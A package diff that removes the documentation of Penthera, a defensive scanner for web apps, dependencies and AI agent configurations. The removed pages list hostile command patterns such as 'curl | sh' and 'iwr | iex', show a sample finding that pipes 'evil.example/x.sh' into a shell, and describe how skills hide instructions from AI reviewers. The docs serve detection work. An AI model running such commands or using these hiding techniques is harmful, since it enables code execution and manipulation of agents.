penthera 1.7.0 → 1.8.0

package/docs/commands/action.md

@@ -1,21 +0,0 @@
-# The GitHub Action
-
-### Use as a GitHub Action
-
-```yaml
-- uses: danoszz/penthera@<release-commit-sha> # v1.4.0
-  with:
-    mode: deps        # deps | agents | scan (scan also needs url:)
-    fail-on: none     # none | high | critical
-```
-
-On every pull request it posts one comment with the capability diff against
-the PR base and edits that same comment on each push. It also uploads SARIF to
-code scanning. Penthera runs from the action's own checkout: no npx, no install
-from npm, no registry lookups. On fork PRs the token is read-only, so the diff
-goes to the job summary instead. Inputs: `mode`, `path`, `base-ref`, `url`,
-`fail-on`, `comment`, `sarif`, `penthera-version`. Copy the full workflow, with
-permissions and a lockfile paths filter, from
-[`docs/examples/pr-dependency-review.yml`](../examples/pr-dependency-review.yml).
-
-[Back to the README](../../README.md) · [All commands](README.md)

package/docs/commands/agents.md

@@ -1,38 +0,0 @@
-# Auditing your AI tooling: `penthera agents`
-
-## Audit your agent setup
-
-Your AI tools run code too. `penthera agents` audits the skills, MCP servers,
-hooks, permissions, plugins and rule files that Claude Code, Cursor, Claude
-Desktop, VS Code and Copilot load, and grades the setup A to F.
-
-```bash
-penthera agents                 # this repo: .mcp.json, .claude/, .cursor/, AGENTS.md, CLAUDE.md, skills/
-penthera agents --home          # + ~/.claude (hooks, permissions, plugins, skills), ~/.cursor/mcp.json, Claude Desktop
-penthera agents ./some-skill    # vet a downloaded skill before you install it
-penthera agents --pin           # write penthera.lock; later runs flag anything that changed
-```
-
-It is **offline and deterministic**: no LLM judge, no registry lookups, nothing
-leaves your machine, and it never modifies the config it reads. Every verdict
-is a rule you can read in [`lib/agents/`](../../lib/agents/), so a skill can't talk
-its way past it.
-
-| Check | What it catches |
-|---|---|
-| Hidden content | Unicode tag characters (decoded), zero-width and bidi controls, variation-selector smuggling, text pushed past a wall of blank lines or off-screen, instructions in HTML comments, text addressed to the scanner, base64 blobs (decoded and classified), `.pyc`/archives/executables in a skill folder (by magic bytes, so a renamed `.png` doesn't hide one), symlinks that leave the folder |
-| Code execution | `curl \| sh`, `wget \| bash`, `bash <(curl …)`, `eval "$(curl …)"`, `base64 -d \| sh`, `exec(base64…)`, PowerShell `iwr \| iex`, in skills, scripts, hooks and MCP launch commands |
-| MCP servers | `npx -y` / `uvx` / `bunx` / `pnpm dlx` without an exact version, inline secrets in `env`, headers or args (same rules as the repo secret scan), remote servers over plain `http://` |
-| Hooks & permissions | Hooks that auto-approve tool calls or pipe into a shell (including the scripts they run), `Bash(*)` and other wildcard allows, `bypassPermissions`, allow rules for `~/.ssh` and other credential files, wildcards in a skill's `allowed-tools` |
-| Plugins | Marketplaces and marketplace plugins not pinned to a commit |
-| Rug pulls | `--pin` writes SHA-256 hashes of every skill folder, MCP server definition, hook and installed plugin to `penthera.lock`. A later run reports what changed, appeared or disappeared |
-
-Each finding names the OWASP [MCP Top 10](https://owasp.org/www-project-mcp-top-10/)
-and [Agentic Top 10](https://genai.owasp.org/) (ASI) ids it maps to, and the
-usual `--json`, `-o`, `--markdown` and `--sarif` outputs all work. The scanner
-is built for the ways LLM-judged skill scanners have been bypassed: it reads
-whole files (no context window to overflow), every file in a skill folder (not
-just `SKILL.md`), and treats text aimed at a reviewer as a finding rather than
-an argument.
-
-[Back to the README](../../README.md) · [All commands](README.md)

package/docs/commands/deps.md

@@ -1,115 +0,0 @@
-# Dependency risk: `penthera deps`
-
-## Dependency risk: what can your packages do?
-
-A lockfile change is code you did not write, about to run with your app's access
-to files, network, environment and CI secrets. `penthera deps` reads
-`package-lock.json`, statically scans every installed package, and tells you
-what each one *can do*, and which packages are new or gained capabilities in an
-upgrade.
-
-```bash
-penthera deps                          # every package in node_modules
-penthera deps --base origin/main       # capability diff vs the lockfile on main
-penthera deps --diff ../base-checkout  # diff vs another installed tree (or an old package-lock.json)
-penthera deps --pr-comment deps.md     # short Markdown diff for a PR comment
-```
-
-```
-  ▲ net-helper 1.0.0 → 1.1.0  + network, whole environment
-      node_modules/net-helper/index.js:3  const https = require('https');
-      node_modules/net-helper/index.js:5  const body = JSON.stringify(process.env);
-```
-
-| Capability | Detected from |
-|---|---|
-| Install scripts | `preinstall` / `install` / `postinstall`, and `binding.gyp` (npm runs `node-gyp` implicitly). Flagged as risky when the hook pipes a download to a shell or runs a file with network or decoding code |
-| Shell, network, dynamic code | `child_process`; `http`/`https`/`net`/`dgram`/`tls`/`http2`, `fetch`, `WebSocket`; `eval`, `new Function`, `vm` |
-| Environment | `process.env` reads, and bulk access (`JSON.stringify(process.env)`, enumeration). Serialising the environment next to network code is reported as likely exfiltration |
-| Files, modules, native | Writes near home-directory or system paths; computed `require()`/`import()`; `.node` addons and `binding.gyp` |
-| Obfuscation | Obfuscator identifiers (`_0x…`), `\x`-escape density, encoded blobs that are decoded and run (embedded WebAssembly and ANSI colour codes are recognised and ignored) |
-| Attack indicators | Writes to `~/.claude`, `~/.cursor`, `.mcp.json` or the Claude Desktop config; running the `claude`, `gemini` or `q` CLIs (the s1ngularity pattern); GitHub token harvesting |
-| Typosquats | Edit distance, separator and suffix tricks against ~7,800 popular npm names, vendored in the package and refreshed at release time |
-
-Every capability carries `file:line` evidence. It is a regex-and-tokenizer pass,
-not a full parser: deterministic, never executes package code, and fast enough
-for every PR (0.4 s for Penthera's own 61 packages, 5 to 16 s for real app
-trees of 500 to 1,700 packages). A capability is what code
-*can* do, not proof that it is malicious; the findings carry honest confidence
-labels (`potential` for obfuscation and typosquats).
-
-**Offline by default.** Old versions for the diff come from the base tree's
-`node_modules` or from npm's local cache (`~/.npm/_cacache`), looked up by the
-lockfile's integrity hash and verified byte for byte. `--online` is the only
-network use: it asks the npm registry for publish dates, publisher changes and
-deprecations, and fetches old tarballs the cache does not have (verified the
-same way). To comment the capability diff on every PR that changes the
-lockfile, use the GitHub Action below.
-
-### npm and Python
-
-The same command reads Python projects: `uv.lock`, `poetry.lock`, `pdm.lock`,
-`Pipfile.lock` or `requirements*.txt` (pinned and `--hash` lines), and the
-installed `.venv` / `venv` (or `--venv <path>`) through
-`site-packages/*.dist-info` `RECORD` files, without running pip or Python. A
-repo with both a `package-lock.json` and Python inputs gets one combined report.
-
-```bash
-penthera deps                          # uv.lock + .venv
-penthera deps --venv ~/.venvs/app      # a virtualenv somewhere else (no lockfile needed)
-penthera deps --base origin/main       # capability diff vs the Python lockfile on main
-```
-
-Capabilities and evidence are the same as for npm (`subprocess`/`os.system`,
-`socket`/`requests`/`httpx`/`aiohttp`, `os.environ` bulk access,
-`eval`/`exec`/`compile`, computed `__import__`, native `.so`/`.pyd`, AI-agent
-indicators), plus what is specific to Python: `setup.py` custom commands
-(install-time code), `.pth` files with `import` lines (they run on every
-interpreter start, a known persistence trick), unpickling, `exec` of a
-base64/zlib-decoded payload, installed files that no longer match their
-`RECORD` hash, and `.pth` files no distribution owns. Old versions for the diff
-come from pip's HTTP cache (matched by the lockfile's sha256) or uv's cache
-(by recorded hash), otherwise they are marked "not compared". Typosquats are
-checked against the top 8,000 PyPI projects, PEP 503 normalised.
-`--online` registry checks are npm-only for now.
-
-### License policy
-
-```bash
-penthera deps --license-policy permissive        # or weak-copyleft-ok, no-agpl
-penthera deps --license-policy legal/policy.json # a file with a "licenses" section
-```
-
-Without the flag, `penthera deps` applies the `licenses` section of
-`penthera.policy.json` when there is one:
-
-```json
-{
-  "licenses": {
-    "preset": "permissive",
-    "allow": ["Python-2.0"],
-    "deny": ["WTFPL"],
-    "allowPackages": ["@acme/*", "sharp@0.33.5"],
-    "unknown": "warn"
-  }
-}
-```
-
-| Preset | Allows |
-|---|---|
-| `permissive` | MIT, ISC, BSD, Apache-2.0, 0BSD, Unlicense, CC0, Zlib, BlueOak and similar. Everything else breaches |
-| `weak-copyleft-ok` | `permissive` plus LGPL, MPL, EPL, CDDL and Artistic-2.0 |
-| `no-agpl` | Anything except AGPL and SSPL (network copyleft) |
-
-Licenses come from the lockfile (npm records them in v2 and v3), else from
-the installed `package.json`. Expressions are parsed as SPDX:
-`MIT OR GPL-3.0-only` passes `permissive` because one branch is enough, while
-`MIT AND GPL-3.0-only` does not. Deprecated ids (`GPL-3.0`, `GPL-2.0+`) are
-matched to their current form, so a deny of `AGPL-3.0-only` also catches a
-package that says `AGPL-3.0`. A breach and `UNLICENSED` (no rights granted)
-are high. A missing, custom (`SEE LICENSE IN ...`) or non-SPDX license is
-medium, or high with `"unknown": "block"`. `allowPackages` exempts packages your
-legal review has cleared. Findings use category `license` and appear in every
-output format, and `--sbom` now records each component's license.
-
-[Back to the README](../../README.md) · [All commands](README.md)

package/docs/commands/fix.md

@@ -1,53 +0,0 @@
-# Fixing what it finds: `penthera fix` and `penthera agent --loop`
-
-## Scan and fix
-
-Penthera does not just report problems. It closes the loop: ask your agent to fix what it finds, and it detects the issue, applies a framework-aware fix to your code (shown as a diff for you to approve), and re-scans to prove it is resolved.
-
-```
-"Scan my app and fix what you find"
-"Fix the security headers on my Next.js app and re-scan to confirm"
-"Find and fix hardcoded secrets in this repo"
-```
-
-Fixes come from a [remediation playbook](../../skills/penthera/references/remediation.md) covering Next.js, Express, Fastify, Hono, and FastAPI. They are always shown as diffs for your approval and verified by a re-scan; nothing is applied blindly, and nothing touches production. To build secure-by-default in the first place, see [secure defaults](../../skills/penthera/references/secure-defaults.md).
-
-### Fix recipes
-
-For the most common findings you don't need an agent at all. `penthera fix` plans deterministic, local fixes and prints each one as a unified diff:
-
-```bash
-penthera fix --plan --repo .                  # fresh repo scan, one diff per fix
-penthera fix --plan --repo . -o report.json   # or use the findings from an earlier scan
-penthera fix --apply <id> --repo .            # apply one diff after you approve it
-```
-
-| Recipe | What it changes | Frameworks |
-|--------|-----------------|------------|
-| `security-headers` | Adds a starter CSP (with `frame-ancestors`), HSTS, X-Frame-Options, Referrer-Policy and X-Content-Type-Options | Next.js (`headers()` in `next.config.*`), Express (`helmet` if installed, otherwise a small middleware), Fastify (`@fastify/helmet` if installed, otherwise an `onSend` hook), Hono (`secureHeaders`) |
-| `cookie-flags` | Adds `httpOnly`, `secure` and `sameSite` to cookies set in code | `res.cookie`, `reply.setCookie`, Hono `setCookie`, Next.js `cookies().set` |
-| `cors-allowlist` | Replaces `cors()`, `origin: "*"`, `origin: true` and `origin \|\| "*"` with an allowlist from `CORS_ALLOWED_ORIGINS` | Express, Fastify, Hono, Next.js route handlers |
-| `auth-rate-limit` | Puts a rate-limit stub (in memory, 10 attempts per 15 minutes) on login and auth routes | Express (`express-rate-limit` if installed), Fastify, Hono, Next.js App Router |
-| `secret-to-env` | Moves a hardcoded secret in JS/TS to `process.env.NAME` and adds `NAME=` to `.env.example` | Any |
-
-How it stays safe:
-
-- **Planning never writes.** Applying is a separate step: it needs a plan id plus a `y/N` confirmation (or `--yes`), refuses a dirty git tree unless you pass `--allow-dirty`, refuses any path outside the repo, and writes nothing unless every hunk applies. It never commits or pushes.
-- **Conservative edits.** No AST rewriting: each recipe edits at an anchor it recognises exactly (`const app = express()`, the exported Next.js config object, a one-line `res.cookie(...)`). If the anchor isn't there, or the code already does something custom (an existing `headers()`, cookie options in a variable), the recipe returns no plan instead of a risky diff.
-- **Owner actions are listed, not done.** A recipe can move a secret out of the code but can never rotate it, so every secret fix says "rotate this secret". Other recipes flag what is still on you, such as tightening the starter CSP or setting `CORS_ALLOWED_ORIGINS`.
-- **Secrets stay masked.** The secret's value is masked in printed and `--json` plans.
-- **Verified.** After `--apply`, Penthera re-scans the repo and says whether each finding is gone. Headers, cookies, CORS and rate limits are checked statically from source, so re-run your URL scan to confirm against the live app.
-
-No recipe for a finding? `--fix-model <name>` can ask a model running in [Ollama](https://ollama.com) on `127.0.0.1:11434`, and nowhere else. It is off by default and only used when no recipe matches. Its diffs are labelled `needs-human-review`.
-
-### The local loop: `penthera agent --loop`
-
-`penthera agent --loop` runs scan → fix → verify → learn on your machine until nothing fixable is left (or `--max-iterations`, default 5):
-
-```bash
-penthera agent --loop --repo . --url http://localhost:3000 -o reports/loop.json
-```
-
-It shows each diff and asks `y/n/skip/quit`, applies it on a local branch `penthera/fix-<yyyymmdd-hhmm>`, re-scans (plus your tests with `--run-tests`), commits the fix if it verified and reverts it if not, and records the outcome in [local memory](../local-loop.md). It refuses a dirty tree or a detached HEAD, runs only an allow-list of local git commands with your repo's hooks disabled, contacts only the `--url` host, and never pushes or opens a pull request. `--auto low` applies without asking only recipes that memory shows verified 3+ times with no failures on your framework. Details and the `loopRun` JSON: [docs/local-loop.md](../local-loop.md#the-agent-loop).
-
-[Back to the README](../../README.md) · [All commands](README.md)

package/docs/commands/hook.md

@@ -1,69 +0,0 @@
-# Pre-commit hook: `penthera hook`
-
-## Block it before it's committed
-
-Once a secret is pushed, rotating it is the only fix. The pre-commit hook runs
-the checks that matter on what you are about to commit, and nothing else:
-
-```bash
-penthera hook install     # writes .git/hooks/pre-commit; an existing hook is kept and runs first
-penthera hook run         # what the hook runs; try it on staged changes
-penthera hook uninstall   # removes it and puts your old hook back
-```
-
-On staged content only (the git index, not your working tree):
-
-- secrets and AI provider keys in staged files;
-- `penthera agents` rules on staged `.mcp.json`, `CLAUDE.md`, `AGENTS.md`,
-  `.cursor/`, `.claude/` and `skills/`;
-- when `package-lock.json` is staged, the capability diff against HEAD's
-  lockfile and the license policy, for the packages this commit adds.
-
-```
-  ✗ penthera blocked this commit: 2 findings at high or above (2 staged files, 1 agent config, 0.1s)
-
-  ✗ CRITICAL .mcp.json  MCP server "x" launches by downloading and running code  id b5914a44a2058da9
-      → Launch command contains a download piped to a shell: `curl https://evil.example/x.sh | sh`.
-  ✗ CRITICAL config.js:1  Anthropic API key in source  sk-a…AAAA  id 7a0eb6998ff38787
-      → Load it from an env var or secret store and unstage the file; rotate it if it was ever pushed or shared.
-
-  Fix and `git add` again. A false positive? Add it to penthera.suppress.json:
-    { "version": 1, "suppress": [{ "id": "b5914a44a2058da9", "reason": "why this is safe" }] }
-  To skip the check for one commit: git commit --no-verify (the finding still ships)
-```
-
-It blocks on high and critical by default and takes about 0.1 to 0.5 s.
-Configure it in `penthera.policy.json`:
-
-```json
-{ "hook": { "blockOn": "high", "ignore": ["tests/fixtures/**"],
-            "checks": { "secrets": true, "agents": true, "deps": true, "licenses": true } } }
-```
-
-If husky or lefthook manage your hooks (`core.hooksPath` is set),
-`penthera hook install` says so instead of overwriting them. Add one line to
-that tool instead:
-
-```bash
-# husky
-echo "npx --no-install penthera hook run" >> .husky/pre-commit
-```
-
-```yaml
-# lefthook.yml
-pre-commit:
-  commands:
-    penthera:
-      run: npx --no-install penthera hook run
-```
-
-```yaml
-# .pre-commit-config.yaml (pre-commit.com)
-repos:
-  - repo: https://github.com/danoszz/penthera
-    rev: <tag or sha>
-    hooks:
-      - id: penthera
-```
-
-[Back to the README](../../README.md) · [All commands](README.md)

package/docs/commands/init.md

@@ -1,114 +0,0 @@
-# Set up in one command: `penthera init`
-
-## Start here
-
-New to Penthera? Run it with no arguments in your project folder:
-
-```bash
-npx penthera          # in a terminal, with no arguments: the setup wizard
-penthera init         # the same wizard, by name (also works with piped answers)
-penthera init --yes   # accept every safe default, ask nothing
-penthera init --dry-run   # show what would run and be written, change nothing
-```
-
-The wizard finds what your project has, asks one question about what to check,
-runs those checks offline, shows one summary, and then offers to set up the
-hook, the CI workflow and the rest, one yes/no at a time. Press Enter to accept
-a default.
-
-## What it does
-
-**1. Detect.** Offline, read-only:
-
-- whether this is a git repository (and which branch);
-- the web framework, from `package.json`, `requirements.txt` or `pyproject.toml`;
-- lockfiles: `package-lock.json`, `npm-shrinkwrap.json`, `uv.lock`,
-  `poetry.lock`, `pdm.lock`, `Pipfile.lock`, `requirements.txt`;
-- agent config: `.mcp.json`, `.claude/`, `.cursor/`, `CLAUDE.md`, `AGENTS.md`, `skills/`;
-- a dev server on localhost ports 3000, 5173, 8000 or 8080 (a TCP connect to
-  127.0.0.1 and ::1, nothing else);
-- whether the Penthera pre-commit hook or a Penthera GitHub workflow is already there.
-
-**2. Ask what to check.** One checklist, with defaults from what was found.
-Type numbers to toggle items (`2,4`), or press Enter:
-
-```
-  What should Penthera check?
-    1. [x] Code: secrets and risky API routes in ./                 penthera --repo .
-    2. [x] Dependencies: what your npm and Python packages can do   penthera deps
-    3. [x] AI tooling: skills, MCP servers, hooks, agent instructions  penthera agents
-    4. [ ] The running app at http://localhost:3000                 only if it is yours
-    5. [x] Offline mode: nothing leaves this machine                recommended
-```
-
-- AI tooling then asks whether to include `~/.claude` and `~/.cursor` too (default no).
-- The running app is only listed when a dev server answered, is never
-  preselected, and is only scanned after you confirm it is yours (default no).
-  It runs the standard safe checks: no attack payloads.
-- With offline mode off, `deps` also reads npm registry metadata and the URL
-  scan may download the Retire.js database. Nothing else changes.
-
-**3. Run and summarize.** One line per check, then the grade per area (A to F,
-the same scale as `penthera agents`), the three things to fix first in plain
-language, and the report folder:
-
-```
-  Running 3 checks  (offline)
-    ✓ Code          B  1 high  0.1s
-    ✓ Dependencies  A  no issues  0.0s
-    ✓ AI tooling    A  1 medium  0.0s
-```
-
-Every report lands in `reports/penthera-<date>/`: `code`, `deps`, `agents` and
-`app` as JSON and Markdown, plus `summary.md` and `summary.json`.
-
-**4. Set up.** Each step is a yes/no:
-
-| Step | Default | What it does |
-|---|---|---|
-| Pre-commit hook | yes | `penthera hook install`: blocks staged secrets, risky agent config and lockfile changes ([hook.md](hook.md)). Git repos only |
-| GitHub workflow | yes | Writes `.github/workflows/penthera.yml` from [the PR dependency review example](../examples/pr-dependency-review.yml), with the action pinned to the release commit SHA. Shown as a diff first. Needs a git repo and `package-lock.json` |
-| `.gitignore` | yes | Appends `reports/` so scan output is never committed |
-| Fix loop | no | `penthera agent --loop` on a local `penthera/fix-<date>` branch; every diff asks first ([fix.md](fix.md)) |
-| Dashboard | yes | `penthera ui --open` on this run's reports ([dashboard.md](../dashboard.md)). Runs until Ctrl-C |
-
-Steps that are already done (a hook or workflow that exists, `reports/` already
-ignored) are skipped and say so.
-
-**5. What next.** The commands to rerun each check, check staged changes, run
-the fix loop or open the dashboard.
-
-## `--yes` and `--dry-run`
-
-`--yes` answers every question with its safe default: the code, dependency and
-AI tooling checks that apply, offline, then the hook, the workflow and
-`.gitignore`. It never scans a URL, never runs the fix loop and never opens the
-dashboard, even when a dev server is running.
-
-`--dry-run` runs detection and asks the questions, then prints what it would
-run and write instead of doing it. Combine them for a plan with no prompts:
-
-```bash
-penthera init --yes --dry-run
-```
-
-`penthera --yes` and `penthera --dry-run` (no other arguments) are the same as
-`penthera init --yes` and `penthera init --dry-run`.
-
-## What it never does
-
-- Commit, push, open a pull request, or touch a remote. The workflow file is
-  written for you to review and commit yourself.
-- Write outside the project: reports, `.gitignore` and the workflow go under
-  the project root (the git top level when there is one), the hook into the
-  repository's hooks folder.
-- Contact anything but localhost, unless you turn offline mode off or confirm
-  the running app.
-
-Exit code: 0 when the wizard finishes (whatever the grades), 2 for a bad flag.
-For a gate in CI, use the commands themselves (`penthera --repo .`, `penthera deps`):
-they exit 1 on high or critical findings.
-
-The pinned SHA is the last release tagged before this version
-(`ACTION_PIN` in `src/cli/onboarding.js`); Dependabot's `github-actions`
-updates keep it current in your repo.

package/docs/commands/install.md

@@ -1,53 +0,0 @@
-# Install firewall: `penthera install`
-
-### Install firewall: `penthera install`
-
-`penthera deps` tells you what changed after the fact. `penthera install` asks
-before anything runs:
-
-```bash
-penthera install left-pad             # check, then install (asks if the policy says so)
-penthera install -D vitest --dry-run  # report only
-penthera install --yes                # CI: install only if nothing breaches the policy
-```
-
-```
-  ▲ color-helper 1.0.0 → 1.1.0  + install script
-      postinstall: node postinstall.js
-
-  Policy    defaults (no penthera.policy.json)
-  ! color-helper@1.1.0  needs approval: install script
-
-  Install anyway? [y]es, run the install scripts / [s]kip scripts / [N]o:
-```
-
-1. npm resolves the new tree in a temporary copy of `package.json` and the
-   lockfile, with scripts off (`npm install --package-lock-only --ignore-scripts`).
-2. New tarballs are fetched with `npm cache add`. Nothing is unpacked into
-   `node_modules` and no package code runs; each tarball is checked against
-   the proposed lockfile's integrity before it is read.
-3. The `deps` engine diffs capabilities against your current lockfile, lists
-   new install scripts with their commands, and checks new names for typosquats.
-4. `penthera.policy.json` decides. On approval, the reviewed lockfile is
-   installed as is, with `--ignore-scripts` unless you approved the scripts
-   (on npm 12+, approved scripts are pinned in `package.json` `allowScripts`).
-   On abort, exit code 1, and the project is byte for byte unchanged.
-
-```json
-{
-  "allow": ["@acme/*", "esbuild", "sharp@0.33.5"],
-  "deny": ["ai-cli-invoke", "token-harvest"],
-  "requireApproval": ["install-scripts", "ai-config-write", "ai-cli-invoke",
-                      "token-harvest", "obfuscated", "typosquat", "unscanned"]
-}
-```
-
-`deny` and `requireApproval` take capability ids from the table above
-(`install-scripts`, `shell`, `network`, `env-bulk`, `obfuscated`, ...) plus
-`typosquat` and `unscanned`. The `requireApproval` list shown is the default.
-`allow` takes names or globs, optionally pinned to a version, and overrides
-both. The one network use is npm talking to your configured registry, and
-Penthera prints which one; Penthera itself sends nothing. Workspaces and
-`file:` dependencies are not supported yet.
-
-[Back to the README](../../README.md) · [All commands](README.md)

package/docs/commands/scan.md

@@ -1,100 +0,0 @@
-# Scanning your app: `penthera <url>` and `--repo`
-
-Black-box scans of a running app (localhost, preview, or staging) and white-box scans of its source. The default scan is non-destructive; payload-based testing is opt-in.
-
-## Scan modes and profiles
-
-| Mode | Command | Coverage |
-|------|---------|----------|
-| **URL scan** | `penthera https://example.com` | TLS, fingerprinting, endpoint discovery, templates, CORS, cookies, JS CVEs, param discovery, OpenAPI/FastAPI probes, security headers, auth hardening |
-| **Repo scan** | `penthera --repo ./my-app` | API route discovery (Next.js, Express, Hono, Fastify), trust-boundary mapping, hardcoded-secret scanning (including Anthropic, OpenAI, Gemini, Groq, Hugging Face and other AI provider keys) |
-| **Combined** | `penthera https://staging.app --repo .` | Black-box and white-box in one run |
-| **Interactive** | `penthera` *(no args)* | Guided wizard (URL plus optional repo scan, Markdown report) |
-| **Machine audit** | `penthera --machine` | macOS checks (keyloggers, persistence, rootkits) |
-| **Dependencies** | `penthera deps` | What each npm or Python package can do (install scripts, shell, network, env, eval, native, obfuscation, `.pth` startup hooks), capability diff on upgrades, typosquats. Offline ([deps.md](deps.md)) |
-
-Pick a profile, or add individual flags for more depth:
-
-| Profile | Command | What runs |
-|---------|---------|-----------|
-| **quick** | `--profile quick` | Headers, OpenAPI, auth smoke tests (about 10s) |
-| **standard** | *(default)* | Full non-destructive scan |
-| **deep** | `--profile deep` | recon, injection probes, and API fuzzing |
-
-Individual flags: `--recon`, `--deep`, `--fuzz`, `--adaptive`, `--nuclei <path>`, `--templates <dirs>`, `--all`
-
-## Quick start
-
-```bash
-# First time? Run with no args for guided setup
-penthera
-
-# Safe default scan (non-destructive)
-penthera https://myapp.com
-
-# Staging plus source code, full report set
-penthera https://staging.myapp.com --repo . --all -o reports/scan.json --sarif reports/scan.sarif
-
-# Baseline diff: show only new findings since the last scan
-penthera https://myapp.com -o reports/scan.json --baseline reports/previous.json
-
-# Authenticated scan (session cookie or bearer token)
-PENTHERA_BEARER=eyJ... penthera https://myapp.com --profile standard
-penthera https://myapp.com --auth-cookie "session=abc123"
-```
-
-Writing to `-o reports/scan.json` also drops a human-readable `reports/scan.md`
-next to it. Reports are gitignored by default.
-
-### Exit codes
-
-| Code | Meaning |
-|------|---------|
-| `0` | No critical or high findings |
-| `1` | Critical or high findings detected |
-| `2` | Scan failed (unreachable target, bad config) |
-
----
-
-## Output
-
-| Format | Flag | Use |
-|--------|------|-----|
-| Terminal | *(default)* | Colored summary plus top 3 fixes |
-| **Markdown** | `--markdown file.md` or `-o file.json` | Human-readable report (exec summary, findings tables, fixes). Written next to `-o` automatically |
-| JSON | `--json` or `-o file.json` | CI pipelines, baseline diffs, custom tooling |
-| SARIF | `--sarif file.sarif` | GitHub Security / Code Scanning tab |
-| Audience report | `--audience developer\|owner\|auditor` | The same scan written for a developer, an owner or an auditor ([docs/evidence.md](../evidence.md#audience-reports)) |
-| Your template | `--report-template file.md` | Your own Markdown with `{{summary.critical}}`, `{{#each findings}}`, `{{#if x}}`; no code runs |
-| **Evidence bundle** | `--evidence <dir> [--sign-key <ssh-key>]` | All reports plus `manifest.json` with SHA-256s, optionally SSH-signed. Auditors check it with `penthera evidence verify <dir> --allowed-signers <file>` ([docs/evidence.md](../evidence.md)) |
-
-## CI integration
-
-```yaml
-# Scan a staging URL on a schedule and upload results to GitHub Security.
-- run: npx penthera@1.7.0 "$PENTEST_URL" --profile standard --sarif reports/scan.sarif
-- uses: github/codeql-action/upload-sarif@6f2ac81f5cd81fe351a197ba0b00d91d03cd2aee # v4.39.0
-  with:
-    sarif_file: reports/scan.sarif
-```
-
-Copy the full workflow from
-[`docs/examples/github-actions-scan.yml`](../examples/github-actions-scan.yml)
-into your app's repo. Pin the Penthera version so a scheduled run never picks up
-code you have not reviewed.
-
-Penthera's own CI runs the full test suite on Node 22 and 24, self-scans a mock
-vulnerable API on every push, and runs CodeQL and OpenSSF Scorecard.
-
-## Configuration
-
-For live integration tests against your own routes:
-
-```bash
-cp pentest.config.example.js pentest.config.js   # gitignored
-```
-
-Edit the route groups, then run `npm run pentest:live`. Set `PENTEST_BASE_URL` to
-point at staging without editing the file.
-
-[Back to the README](../../README.md) · [All commands](README.md)

package/docs/commands/skill.md

@@ -1,58 +0,0 @@
-# Penthera as an Agent Skill
-
-## For your AI coding agent
-
-Penthera ships as an [Agent Skill](https://agentskills.io), the open format used
-by Cursor, Claude Code, Claude.ai, and [40+ agent tools](https://agentskills.io/clients).
-The skill teaches an agent to run authorized scans, pick the right profile, and
-summarize findings, so you can just describe what you want.
-
-**Install** (any of these):
-
-```bash
-# Cross-agent, frictionless
-npx skills add danoszz/penthera
-
-# Or the one-line installer (also links the CLI)
-curl -fsSL https://raw.githubusercontent.com/danoszz/penthera/main/install.sh | bash
-
-# Or copy into a single project for team sharing
-cp -r skills/penthera .cursor/skills/penthera     # Cursor
-cp -r skills/penthera .claude/skills/penthera     # Claude Code
-```
-
-Or as a Claude Code plugin (installs the skill):
-
-```bash
-/plugin marketplace add danoszz/penthera
-/plugin install penthera@penthera
-```
-
-For Claude.ai (web), zip and upload the skill:
-
-```bash
-npm run package:skill   # produces penthera-skill.zip; upload in Settings > Capabilities > Skills
-```
-
-**Prompts that trigger it:**
-
-- "Scan my localhost app on port 3000 for security issues"
-- "Run a pre-deploy audit on staging.myapp.com and summarize critical findings"
-- "Scan this repo for hardcoded secrets and exposed API routes"
-- "Compare today's scan to last week's baseline and show only new findings"
-- "Generate a SARIF report for GitHub code scanning"
-- "Audit my MCP servers, skills and Claude Code hooks"
-
-The skill adds an authorization gate: it instructs the agent to refuse targets you
-do not own or are not authorized to test, and the wizard asks you to confirm before
-scanning a remote host. It is an agent-level and interactive safeguard, not something
-the raw CLI enforces. You are responsible for every target you pass it. Run preflight
-before the first scan:
-
-```bash
-bash skills/penthera/scripts/preflight.sh http://localhost:3000
-```
-
-Skill source and workflows live in [`skills/penthera/SKILL.md`](../../skills/penthera/SKILL.md).
-
-[Back to the README](../../README.md) · [All commands](README.md)

package/docs/compare/README.md

@@ -1,25 +0,0 @@
-# How Penthera compares
-
-Penthera is a free, offline, MIT-licensed toolkit. Most teams that use it also
-use at least one of the tools below, and these pages are written for them: what
-each tool is for, where it goes further than Penthera, and how to run the two
-together.
-
-| Page | In one line |
-|---|---|
-| [Penthera and Socket](socket.md) | Socket watches the package registries; Penthera checks your app and your AI tooling on your machine |
-| [Penthera and Snyk](snyk.md) | Snyk brings curated vulnerability data across many languages; Penthera looks at behaviour, the running app and agent config |
-| [Penthera and GitHub (Dependabot, code scanning)](github.md) | GitHub alerts on known CVEs and runs CodeQL; Penthera's SARIF lands in the same tab |
-| [Penthera and OWASP ZAP](zap.md) | ZAP is the deeper dynamic scanner; Penthera is a quicker first pass with source context |
-| [Penthera and Semgrep](semgrep.md) | Semgrep is the deeper static analyser for your code; Penthera adds dependencies, the live app and AI tooling |
-
-## How these pages are written
-
-- Every claim about another product comes from that product's public docs or
-  pricing page, linked inline. Anything we could not confirm is left out.
-- Each page names where the other tool goes further. Most of them go further
-  than Penthera somewhere.
-- Prices and plans change. Each page has a last-checked date; check the vendor's
-  page before you rely on a number.
-
-Spotted something wrong or out of date? Please open an issue or a pull request.